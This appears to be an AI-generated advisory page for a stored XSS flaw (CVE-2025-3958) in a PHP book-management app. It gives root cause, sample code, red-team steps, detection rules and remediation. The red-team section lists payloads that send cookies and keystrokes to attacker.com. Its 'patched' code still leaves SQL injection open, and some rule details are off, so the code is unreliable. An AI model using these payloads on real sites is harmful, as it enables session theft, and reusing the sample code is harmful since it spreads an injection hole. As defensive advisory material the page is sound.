CVE-2025-3958
Executive Summary
CVE-2025-3958 is a stored cross-site scripting (XSS) vulnerability identified in the withstars Books-Management-System version 1.0. The flaw resides in the /book_edit_do.html file, specifically within the "Name" parameter of the Book Edit Page. An attacker can inject arbitrary JavaScript code that will be executed in the context of any user viewing the affected page. The vendor has confirmed that this product is end-of-life and no longer supported, meaning no official patch will be released. The exploit has been publicly disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect any NPM, PyPI, Go, or Ruby packages. It is a standalone PHP/HTML application.
CVSS Breakdown & Threat Level
CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click on a crafted link or visit a compromised page.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on system availability.
Threat Level: Medium. The exploit is public, and the product is unsupported, making it a prime target for low-sophistication attackers.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the book_edit_do.html file. The application fails to sanitize the "Name" input field before storing it in the database and later rendering it on the page. When an administrator or user views the book edit page, the injected script executes in their browser.
Root Cause: The application uses $_GET['Name'] or $_POST['Name'] without any output encoding or input validation. The stored value is directly echoed into the HTML without escaping special characters like <, >, ", ', or &.
Attack Flow:
- Attacker identifies the vulnerable parameter
Namein/book_edit_do.html. - Attacker submits a request with a malicious payload, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the database.
- When any user (including admins) visits the book edit page, the script executes.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
// book_edit_do.html (vulnerable)
$name = $_POST['Name'];
$query = "UPDATE books SET name='$name' WHERE id=$id";
mysqli_query($conn, $query);
// Later in the page:
echo "<input type='text' name='Name' value='$name'>";
?>
Patched Code (Hypothetical):
<?php
// book_edit_do.html (patched)
$name = htmlspecialchars($_POST['Name'], ENT_QUOTES, 'UTF-8');
$query = "UPDATE books SET name='$name' WHERE id=$id";
mysqli_query($conn, $query);
// Later in the page:
echo "<input type='text' name='Name' value='$name'>";
?>
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A running instance of withstars Books-Management-System 1.0.
- Access to the
/book_edit_do.htmlpage.
Exploit Steps:
- Intercept a request to
/book_edit_do.htmlusing a proxy like Burp Suite. - Modify the
Nameparameter to include a malicious payload:Name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request.
- Wait for an admin to view the book edit page. The script will execute and exfiltrate the admin's session cookie.
Example Payloads:
- Basic alert:
<script>alert('XSS')</script> - Cookie theft:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Keylogger:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team (Defender)
Detection Steps:
- Monitor web server logs for unusual
Nameparameters containing<script>oronerrorattributes. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly scan for known XSS payloads in the database.
Lab Setup:
- Install the vulnerable application in a sandboxed environment (e.g., Docker).
- Use a tool like
sqlmapto test for XSS, but manual testing is recommended. - Simulate an attack using the payloads above and observe the behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/book_edit_do.htmlwithNameparameter containing<script>tags. - Outbound connections to attacker-controlled domains from the web server.
- HTTP requests to
- File IOCs:
- Modified entries in the database
bookstable withnamefield containing JavaScript.
- Modified entries in the database
- Log IOCs:
- Web server logs showing
POST /book_edit_do.htmlwith suspiciousNamevalues. - Error logs showing unexpected script execution.
- Web server logs showing
Detection Engineering
YARA Rule
rule Detect_Books_Management_XSS {
meta:
description = "Detects XSS payloads in withstars Books-Management-System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3958"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: XSS Attempt on Books-Management-System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts targeting the Name parameter in book_edit_do.html
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/book_edit_do.html'
cs-uri-query|contains: 'Name='
cs-uri-query|re: '(<script|<img|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of HTML in book names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3958 XSS Attempt on Books-Management-System"; flow:to_server,established; content:"POST"; http_method; content:"/book_edit_do.html"; http_uri; content:"Name="; http_client_body; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If the system is still in use, isolate it from the internet and restrict access to trusted IPs only.
- Apply virtual patching: Use a WAF to block requests containing XSS patterns in the
Nameparameter. - Sanitize input: Manually add
htmlspecialchars()to the vulnerable file if source code is available.
Long-term Solutions:
- Migrate to a supported alternative: Replace the Books-Management-System with a modern, actively maintained solution.
- Implement CSP: Add a Content Security Policy header to mitigate the impact of XSS.
- Regular security audits: Conduct periodic code reviews and penetration testing.
Patch Status: No official patch is available. The product is end-of-life.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is based on publicly available data and should be verified before action.